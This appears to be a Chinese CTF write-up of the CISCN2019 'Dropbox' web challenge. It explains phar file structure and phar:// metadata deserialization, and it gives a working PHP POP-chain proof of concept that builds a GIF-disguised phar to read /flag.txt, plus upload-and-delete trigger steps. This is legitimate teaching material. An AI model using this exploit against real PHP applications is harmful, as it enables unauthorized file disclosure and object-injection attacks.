[CISCN2019 华北赛区 Day1 Web1]Dropbox phar文件&反序列化pop链&php数组
1.phar文件结构
1.A stub
可以理解为一个标志,格式为xxx<?php xxx; __HALT_COMPILER();?>
,前面内容不限,但必须以__HALT_COMPILER();?>
来结尾,否则phar扩展将无法识别这个文件为phar文件,比如Stub部分可以是:GIF89a<?php __HALT_COMPILER();?>
2.A manifest describing the contents
phar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这是phar反序列化攻击手法最核心的地方
3.The file contents(设置的时候要设置一个"a.txt","aaa"进去)
被压缩文件的内容。
4.[optional] a signature for verifying Phar integrity (phar file format only)
这个不用自己写,php会自动生成,直接写$phar->stopBuffering();就行了
2.phar反序列化原理:
$phar->setMetadata($demo);
一般我们给meta-data部分赋值为一个对象,就是要unserialize的对象(当然这里没有这个函数),在生成phar文件后,打开phar文件发现里面的序列化后的序列化值,后端代码中通过相关文件函数和phar://a..jpg(后缀名可以不是phar),就会反序列化那个mata-data那个部分的序列值。
相关函数:
3.phar反序列化题目常规思路:
一般要先上传一个a.phar文件,然后通过相关文件函数和phar://a.phar伪协议读取/下载/删除这个文件,相配套的一般是任意文件下载漏洞
存在任意文件下载页面,就可以先下载源码来看,然后构造phar文件上传上去,再去读取,就可以触发反序列化漏洞
4.本体poc:
<?php class User { public $db; public function __construct(){ $this->db=new FileList(); } } class FileList { private $files; private $results; private $funcs; public function __construct(){ $this->files=array(new File()); $this->results=array(); $this->funcs=array(); } } class File { public $filename="/flag.txt"; } $demo=new User(); $phar=new Phar("a.phar"); $phar->startBuffering(); //设置个phar文件就三步,签名会自动生成 $phar->setStub("GIF89a<?php __HALT_COMPILER();?>"); $phar->setMetadata($demo); $phar->addFromString("a.txt","aaa"); $phar->stopBuffering(); ?>
上传上去,然后抓包,点击删除,$filename=phar://a.jpg
知识点:
1.pop链反序列化的常规操作是让一个对象的变量=new class2()
2.
__call() 魔术方法:当对象执行一个不在本类里的方法的时候会调用__call()魔术方法
function __call($func, $args)
__call()函数里面那个参数$func就是想要在本类执行的方法却发现没有该方法的方法名